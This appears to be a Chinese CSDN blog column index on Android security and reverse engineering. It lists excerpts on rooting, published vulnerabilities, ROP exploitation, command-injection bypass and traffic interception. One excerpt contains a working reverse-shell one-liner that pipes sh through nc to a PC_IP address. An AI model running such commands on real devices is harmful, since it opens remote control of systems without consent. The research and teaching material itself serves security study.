![](https://img-blog.csdnimg.cn/20201014180756926.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
android安全与逆向
文章平均质量分 83
江西省遂川县常驻深圳大使
南唐保大元年(943年),析泰和龙泉乡什善镇置龙泉场;南唐李璟十八年(960年)升场为县,名龙泉县;民国三年(1914年)改名,是为遂川县。
遂川县最大的镇是泉江镇; 遂川县有火车站吗?正在建渝长厦高铁遂川站
遂川三大特产金桔、板鸭、狗牯脑; 遂川县好玩的地方有源头湖公园、龙泉公园、东江源水上乐园、聚满源农庄等等;遂川县是吉安市面积最大、人口最多的县;
遂川县人口2021年遂川县人口常住户籍51万+;江西吉安遂川县;江西吉安遂川教育局官网百度自己搜
展开
-
移动安全---缘起:从零开始root
上一篇发了如何写一个hook框架,但是还是依赖于root权限,而在android平台,magisk就是root的代名词。所以开始了。。。。。无感知的root工具,你可以将su文件的名字随意更改,然后配合上一篇的rxposed完成全局hook工作。转载 2024-07-31 17:37:31 · 20 阅读 · 0 评论 -
checklist——漏洞挖掘 _
该checklist是专门服务于闭关这三个月,主要是记录与漏洞挖掘相关的内容,同时也会把之前收集的与漏洞挖掘相关的内容归类于此,便于学习和查看。转载 2024-07-16 14:24:03 · 94 阅读 · 0 评论 -
CVE-2024-0044通过换行注入绕过 Android 上的“run-as”可调试性检查
拥有 Android 设备 ADB 访问权限的攻击者可以欺骗“run-as”工具,使其认为任何应用都可以调试。通过这样做,他们可以像系统中的大多数应用一样读取和写入私有数据并调用系统 API(包括许多特权应用,但不是以用户身份运行的应用)system。此外,他们还可以通过修改 GMS 在其数据目录中缓存的可执行代码,以 Google 移动服务 (GMS) 或使用其 SDK 的应用的身份实现持久代码执行。Google 将此问题编号为中进行了修复,该公告于今日公开。翻译 2024-07-11 10:20:13 · 100 阅读 · 0 评论 -
深入 Android 可信应用漏洞挖掘
不过现在我们去看它官方的 git上面的库,其实是能发现它自己使用Python实现了一套类似ASAN的堆溢出的检测逻辑,它的检测的思路跟ASAN的逻辑是一模一样的,当我要执行一个内存分配,比如malloc(8)的时候,它会在分配的堆块的前方跟后方各自插入一个red zone,那么当TA触碰到这两个red zone的时候,就会自然地认为发生了越界访问,从而抛出异常。其实不是的,我们的目标可以是那些子品牌发布了很久,但是具备最新OEM系统的手机,因为我们的目标很简单,拥有一台具备最新系统的手机就可以了。转载 2024-06-24 10:39:25 · 104 阅读 · 0 评论 -
小米设备中发现 20 个安全问题
小米中的漏洞可导致以系统权限访问任意活动、接收器和服务,以系统权限窃取任意文件,泄露手机、设置和小米帐户数据,以及其他漏洞。当攻击者向此接收器发送广播时,他们可以提供两个值,并且意图将首先传递给小米接收器,但之后,它将被重定向到攻击者提供的接收器。例如,在此漏洞的背景下,攻击者将能够访问用户设备上安装的所有应用程序的任意活动。此外,与之前的漏洞一样,设置是一个系统应用程序,因此此功能允许攻击者在任何已安装的应用程序中绝对绑定用户设备上声明的任何服务。此外,由于错过了其中的验证,攻击者可以访问,例如,翻译 2024-06-14 10:55:21 · 116 阅读 · 0 评论 -
小米TEE可信执行环境安全漏洞(2022)
腾讯支付是腾讯控股有限公司旗下的一个软件平台,主要功能是提供在移动应用和远程后端服务器之间传输的支付包的验证功能。对于每个业务场景,比如支付业务、登录业务,应用都需要生成一对AuthKey,生成过程和ASK生成类似,私钥保存在TEE中,公钥上传到应用服务器,不同之处在于第三方应用需要自己使用ASK公钥来验证AuthKey的合法性。在腾讯云存储中,密钥有三层:设备密钥(ATTK)、应用密钥(ASK)、业务密钥(AuthKey),这些密钥都是RSA-2048的非对称密钥,所有密钥均受到TEE的保护和安全存储。翻译 2024-06-13 18:01:40 · 182 阅读 · 0 评论 -
「AVSS研报」原生Android及鸿蒙黑灰产对抗能力初评-应用篇
这一机制的实现可以消除开发者的安全顾虑,避免了应用加壳等方案可能导致的流畅度下降,而且开发者往应用市场提交的非加壳安装包有助于审核制的落实,两全其美。原生Android上有应用沙箱机制,通过UID DAC和SELinux MAC分离系统和各个应用,HarmonyOS NEXT更进了一步,其应用沙箱机制会对每个应用在/mnt/sandbox/目录中映射专属的“应用沙箱目录”,应用仅能访问此”目录“,此机制把应用可见的文件限制在最小范围,避免数据被恶意路径穿越访问。转载 2024-06-12 14:27:37 · 88 阅读 · 0 评论 -
【Android漏洞】“脏流” Dirty Stream 攻击原理详解
我们正在分享这项研究,以便开发者和发行商可以检查他们的应用程序是否存在类似问题,进行适当的修复,并防止将此类漏洞引入新的应用程序或版本中。Microsoft 在多个流行的 Android 应用程序中发现了与路径遍历相关的漏洞模式,该模式可能使恶意应用程序能够覆盖易受攻击的应用程序主目录中的文件。然而,我们经常遇到这样的情况:消费应用程序不验证它接收到的文件的内容,最令人担忧的是,它使用服务应用程序提供的文件名将接收到的文件缓存在消费应用程序的内部数据目录中。我们发现的两个易受攻击的应用程序示例是。翻译 2024-05-06 17:20:18 · 4240 阅读 · 1 评论 -
二、pwn - 零基础ROP之PIE保护绕过-碰撞
本文唯一区别在于,我们不利用vulnerable_function打印的地址,无法定位pie base地址,直接随机碰撞(爆破)~ 有一定比例成功的可能,贴近实战!但是呢,内存溢出后覆盖PC,要么修改2位、4、6、8...位,无法修改3位,又因为arm是小端模式,例如0x6b25741, 在内存中排列为0x41 0x57 0x6b...所以0x70d 是低地址,前面存在1位 未知的数值,在1-F (16进制)之间,可能是0x170d、也可能是0x270d、0x370d...0xf70d。原创 2024-04-18 15:43:33 · 377 阅读 · 2 评论 -
一、pwn - 零基础ROP之Android ARM 32位篇(新修订,精华篇)
一旦你知道了溢出的偏移量,你就可以构造一个包含NOP滑梯、shellcode以及用于覆盖PC的正确地址的有效载荷。你需要确保shellcode位于溢出点之后,并且PC被设置为指向NOP滑梯的开始部分,这样当执行流到达该位置时就会滑入你的shellcode并执行。使用模式创建工具来确定哪部分输入覆盖了程序计数器(PC),是一种常见的方法,特别是在开发缓冲区溢出漏洞利用时。当程序崩溃时,检查程序计数器(PC)的值。工具将输出一个数字,表示在模式中的偏移量,这个数字就是从输入数据的开始到覆盖PC的点的字节数。原创 2024-04-17 18:18:54 · 982 阅读 · 1 评论 -
pwndbg 基本操作指令
/生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama。//显示rdi寄存器的值,注意和x的区别,这只是显示rdi的值,而不是rdi指向的值。//查看0x123456地址的值,//计算0x10-0x08的结果。//打印fun_name的地址,//显示arena的详细信息。//打印包含返回地址的栈地址。//像IDA那样显示数据,//直接看canary的值。//显示rdi指向的值。//查看变量a的地址。,会跟提示所有操作堆的地方。转载 2024-04-17 10:14:08 · 258 阅读 · 0 评论 -
一行代码实现Android反向shell(Reverse shell)
cd /data/data/你的私有目录 && mkfifo f && cat f | /system/bin/sh -i 2>&1 | nc PC_IP 4444 > f。你的私有目录 这个目录可以是你APK的目录,或者你权限读写执行的目录。通过反向shell,即使你无法启用 adb,你也可以拥有一个反向 shell 并通过你的 PC 控制手机。本文通过一行代码即可实现Android反向shell(Reverse shell)。网上关于android得反向shell 多是需要安装apk的,操作麻烦。原创 2024-04-12 21:00:12 · 271 阅读 · 0 评论 -
CTF-命令注入绕过技巧总结
执行顺序:输出base64编码内容------>base64解码其编码内容------>执行bash命令。cmd1 || cmd2 cmd1执行失败则执行cmd2,若cmd1执行成功则不执行cmd2。注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行。cmd1&&cmd2 与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2。管道符”|“左边的命令的输出会作为管道符”|“右边命令的输入。核心:利用管道符”|“将左边命令的输入作为右边命令的输出。转载 2024-04-10 17:21:46 · 388 阅读 · 0 评论 -
C语言中不安全函数、安全函数
那么,您应该认为如果您的缓冲区足够大,可以处理可能的最长名称,您的程序会 安全,对吗?它可以做与 gets() 所做的同样的事情,但它接受用来限制读入字符数目的大小参数,因此,提供了一种防止缓冲区溢出的方法。遗憾的是,即使是系统调用的“安全”版本 ― 譬如,相对于 strcpy() 的 strncpy() ― 也不完全安全。然而,获得效率的代价是,C 程序员必须十分警觉,并且有极强的安全意识,才能防止他们的程序出现问题,而且即使这些,使代码不出问题也不容易。没有实际执行堆栈中的代码,只有堆中的代码。转载 2024-03-08 15:19:38 · 508 阅读 · 0 评论 -
Android抓包--不走代理的请求Proxy.NO_PROXY,过代理检测,burpsuite+Postern
网上很多不走代理检测的抓包都是charles + Postern 或 charles + Postern + burpsuite,本文使用burpsuite+Postern。原创 2024-03-05 16:31:30 · 1062 阅读 · 0 评论 -
【精华】android抓包https(tls)全教程,openssl生成burpsuite证书,并导入
为什么需要365天证书,因为chrome等一些软件会检测证书时长,太长了报错:证书有效期过长的错误1、openssl生成burpsuite证书然后一路按回车,直到生成2、生成p12证书文件自定义一个密码,比如1234563、导入到burpsuite,点击代理-选项-导入/导出ca证书-进口(import)-来自pkcs12密钥库的证书和密钥,选择burp.pfx文件,输入密码,点击下一步完成。原创 2024-02-27 15:03:28 · 1304 阅读 · 0 评论 -
Android super.img解包和打包指南(含工具下载lpunpack、lpmake、lpdump)
Android super.img的解包和打包指南,含工具下载lpunpack、lpmake、lpdump原创 2024-02-01 14:57:04 · 6925 阅读 · 2 评论 -
Android-based PAX POS vulnerabilities (Part 1)
Banking companies worldwide are finally shifting away from custom-made Point of Sale (POS) devices towards the wildly adopted and battle-tested Android operating system. No more obscure terminals; the era of giant, colorful touchscreens is here! While Andr转载 2024-01-18 10:59:30 · 153 阅读 · 0 评论 -
直接修改ROM的init.rc,重新打包刷入不生效的原因
不能经过adb shell修改的缘由(8楼) spainit.rc 是 rootfs 中的文件,Android 将 rootfs(initramfs) link 到 linux kernel image 中,生成正常启动的boot.img, recovery 模式的 recovery.img. get。转载 2023-12-31 18:26:43 · 403 阅读 · 0 评论 -
Magisk 对 boot.img 做了什么?
总之,Magisk 主要通过向 boot.img 中添加二进制文件和修改 init 脚本来注入 Magisk 框架并获取 root 权限,同时禁用某些功能以避免干扰。转载 2023-12-30 21:46:46 · 442 阅读 · 0 评论 -
修改Android开机Logo、动画、充电图标等
在mediatek/source/external/boot_logo_upater/Android.mk中会将boot_logo 文件放到out/target/product/system/media/images/boot_logo. 这样就放到了system.img中.Logo/update 针对hvga_XXX_kernel.bmp有特殊处理,将其转成raw文件并命名为/logo/boot_logo。hvga_uboot.bmp是第一屏,hvga_kernel.bmp是第二屏。转载 2023-12-25 10:41:22 · 990 阅读 · 0 评论 -
STS、CTS、GTS、VTS测试指南
Android Security Test Suite (STS) 是谷歌关于android安全补丁安装情况的一个测试套件STS和security patch相关的,是CTS测试新增加一项安全测试套件。STS是201808才开始测试的。Security patch日期在3个月内是GTS的一个case,如果不通过无法获得google认证。在18年5月之前谷歌对于security patch这个属性都是在build库下面跟着aosp更新的。现在需要通过STS之后由vendor来更新。转载 2023-12-20 17:46:32 · 1900 阅读 · 1 评论 -
root(Magisk )环境下增加 adb root 功能
修改 ro.debuggable 为 1杀掉 adbd,让 __android_log_is_debuggable 返回为 1调用 adb root 用于配置 service.adb.root = 1adbd 正常是 root 用户启动,然后通过降权到 shell 用户,我们是通过修改属性来达到不降权;转载 2023-12-19 18:13:08 · 2769 阅读 · 1 评论 -
【解决】刷了Magisk修改后的boot,magisk仍然没有ROOT
将以下代码命名为su,然后push到android设备的/system/bin目录。然后即可root即可正常运行。原创 2023-10-18 16:01:27 · 3366 阅读 · 0 评论 -
实战|记一次APP多限制绕过
最开始使用某混淆过的frida发现还是会被检测到,先使用frida hook dlopen查看加载的so,dlopen主要用于加载一些系统的库,可以看到打开了libc.so库,基于libc.so的检测一般分为两种一种是文件读写类,如maps和状态等,另一种就是线程类,通过dlopen_ext也可以知道libexec和libexecmain很有可能就是检测frida的so。看样子是还存在双进程保护,测试几次最终通过先执行spawn模式启动,程序卡死,弹出是继续等待还是退出,点击退出。转载 2023-07-20 09:19:41 · 818 阅读 · 0 评论 -
【分享】ROM厂商刷机工具合集
MTK刷机SP_Flash_Tool、MTKClient、SN_WRITE;高通QPST\QFIL原创 2023-07-10 17:19:37 · 3642 阅读 · 0 评论 -
【解决】秘钥硬编码安全问题
下面给一个方案,对数据进行变形。算法如下:对每一个字节做一次循环右移对每一个字节用一个表的数据做位异或操作转为16进制数目前没有安全的方法保存秘钥,除非使用硬件来解决(后台的加密机使用的就是硬件,秘钥放在芯片里),所以本地保存数据需要遵循:需要长久更安全的保存,使用keychain的方式保存不要保存敏感信息,如果要保存需要先做脱敏任何时候都不要保存密码。原创 2023-06-30 10:29:14 · 2107 阅读 · 0 评论 -
Android安全检测-Intent Scheme URLs攻击风险
通过浏览器(WebView)加载URI的形式使用Intent协议跳转到指定的app页面。一般使用Intent.parseUri(String uri,int flags)方法,来构造Intent。攻击者可构造特殊格式的URL直接向系统发送意图,启动App应用的Activity组件或者发送异常数据,导致应用的敏感信息泄露或者应用崩溃。通过漏洞原理可以了解到漏洞产生的原因,那么现在来了解一下和这个漏洞相关的一些知识。方法,那么必须对获取的intent进行严格过滤,intent至少包含。上述的漏洞描述中可知,转载 2023-06-19 10:57:18 · 513 阅读 · 0 评论 -
再谈Parcelable反序列化漏洞和Bundle mismatch
近期在做Parcelable反序列化和Bundle mismatch方面的研究,在这个过程中有很多需要记录的内容,有些也是网络上相关文章没有提到的一些细节,并且由于aliyun上那篇最经典的原始文章链接失效,所以决定写一篇文章记录这种漏洞。由于Google官方在Android 13中的修改,这类漏洞即将退出历史舞台了,所以也用这篇文章作为纪念吧。转载 2023-06-15 17:28:40 · 336 阅读 · 0 评论 -
【解决】android设备有root权限,执行“adb disable-verity”命令报错“verity cannot be disabled/enabled - USER build”
在bootloader模式下,执行“fastboot disable-verity”命令来禁用verity功能。等待设备重启完成后,再次执行“adb disable-verity”命令,应该就可以成功禁用verity功能了。确认你的设备是否已经启用了开发者选项,可以在设备设置中找到“开发者选项”并启用。注意:在执行以上步骤前,请务必备份你的设备数据,以免出现意外情况导致数据丢失。确认你的设备是否已经root,可以通过执行“adb root”命令来检查。执行“fastboot reboot”命令重启设备。原创 2023-05-26 16:32:40 · 9761 阅读 · 5 评论 -
绕过Android域名白名单校验的方法
而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。然而,对于第一个链接,浏览器会自动把反斜杠 "\" 纠正为正斜杠 "/"对于第二个链接,反斜杠 "\" 会以 URL 编码形式保留而无法触发方法1。事实上,有大量的开发者因为不了解这个性质,认为传入的 url 已经是”正常“通过。,才是被攻击的 Activity 拉起的实际地址。转载 2023-02-24 11:11:40 · 686 阅读 · 0 评论 -
字节跳动安全合规检测技术之Android篇
业务安全合规检测通过 CI/CD 阶段卡口,针对新增代码进行分析检查、合码管控、问题溯源,针对构建产物进行发版管控,避免隐私、合规相关问题被带到线上引发安全合规风险。转载 2023-02-01 14:52:02 · 593 阅读 · 0 评论 -
移动应用安全常用组件Soot、Flowdroid简介&基本使用
soot是java优化框架,提供4种中间代码来分析和转换字节码。FlowDroid是目前对Android app进行污点分析效果最好的工具之一转载 2023-01-31 16:44:35 · 198 阅读 · 0 评论 -
android Settings系统的三种数据属性及其adb修改指令
如:adb shell settings put global http_proxy 127.0.0.1:8888。adb shell settings put global http_proxy 代理IP地址:端口号。1.global:所有的偏好设置对系统的所有用户公开,第三方APP有读没有写的权限;3.secure:安全性的用户偏好系统设置,第三方APP有读没有写的权限。2.system:包含各种各样的用户偏好系统设置;列出global配置表中的所有属性值。取出指定配置表中指定属性值。原创 2022-12-15 10:38:47 · 4026 阅读 · 0 评论 -
Magisk学习之刷入vbmeta.img及关闭avb2.0校验
这三种安装方式教程很多,主要介绍一下直接安装或者patch boot.img刷完magisk变砖之后遇到的分区验证导致变砖问题以及如何解决。从刷入Magisk的方式都需要操作boot.img也可以看出来,magisk的核心原理就是修改和替换了负责安卓系统启动的boot.img中的Ramdisk部分,该映像包括了一系列初始化init进程和启动时使用的rc文件。转载 2022-12-12 15:16:17 · 8665 阅读 · 1 评论 -
常见APP攻击方法 以及防御方法介绍(移动安全)
用户打开安卓手机上的某一应用,这时,恶意软件侦测到用户的这一动作,如果立即弹出一个与该应用类似的界面,拦截了合法的应用,用户几乎无法察觉,该用户接下输入账号、卡密什么的 其实是在恶意软件上进行的,接下来会发生什么就可想而知了。用户财产损失、隐私泄露;1、恶意应用监听了受害者应用的启动操作,然后弹出UI界面覆盖受害者,让用户误以为是目标应用的窗口,进而冒充盗取用户账号密码、卡密等操作。逆向分析工具 IDA Pro、jdb、gdb、class-dump-z、Clutch、introspy、Cycript等。原创 2022-11-25 20:06:10 · 6938 阅读 · 0 评论 -
浅谈Android开放网络端口的安全风险
Android应用通常使用等不同domain的来进行本地IPC或者远程网络通信,这些暴露的socket代表了潜在的本地或远程攻击面,历史上也出现过不少利用socket进行拒绝服务、root提权或者远程命令执行的案例。特别是PF_INET。转载 2022-10-12 14:55:56 · 2369 阅读 · 0 评论 -
Android Content Provider权限和安全详解
如果content provider允许其他应用调用,即允许其他进程调用,需要将该属性设置为true。ProPermissionClient具有读取content provider的权限,它去调用另一个应用C的activity,例子中这个另一个应用C为ProPermissionGrant,但是这个例子没有读取content provider的权限,ProPermissionClient可以将自己的权限通过intent传递给应用C,让其也具有访问content provider的权限。转载 2022-09-23 16:05:43 · 2775 阅读 · 0 评论 -
android Binder安全性、Unix Socket安全性研究
风险点: Binder 的服务任何 应用都可以bindService,或者提供类似的Binder服务(第三方应用可以做成和Binder 服务相同包名)安全建议:① 、需要确保 AIDL应用优先安装/预制(不要OTA后下载);②、Binder 里 可以获取 Binder.getCallingPid(),然后通过pid获取应用包名、签名来 对调用方的来源进项验证 (高版本普通应用 未必能通过pid获取包名,系统应用除外);③、Binder接口里增加鉴权参数(需要自行设计)原创 2022-09-13 10:43:13 · 1167 阅读 · 0 评论 -
gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY)
gcc安全编译选项详解(NX(DEP)、RELRO、PIE(ASLR)、CANARY、FORTIFY)转载 2022-09-02 13:40:40 · 8761 阅读 · 0 评论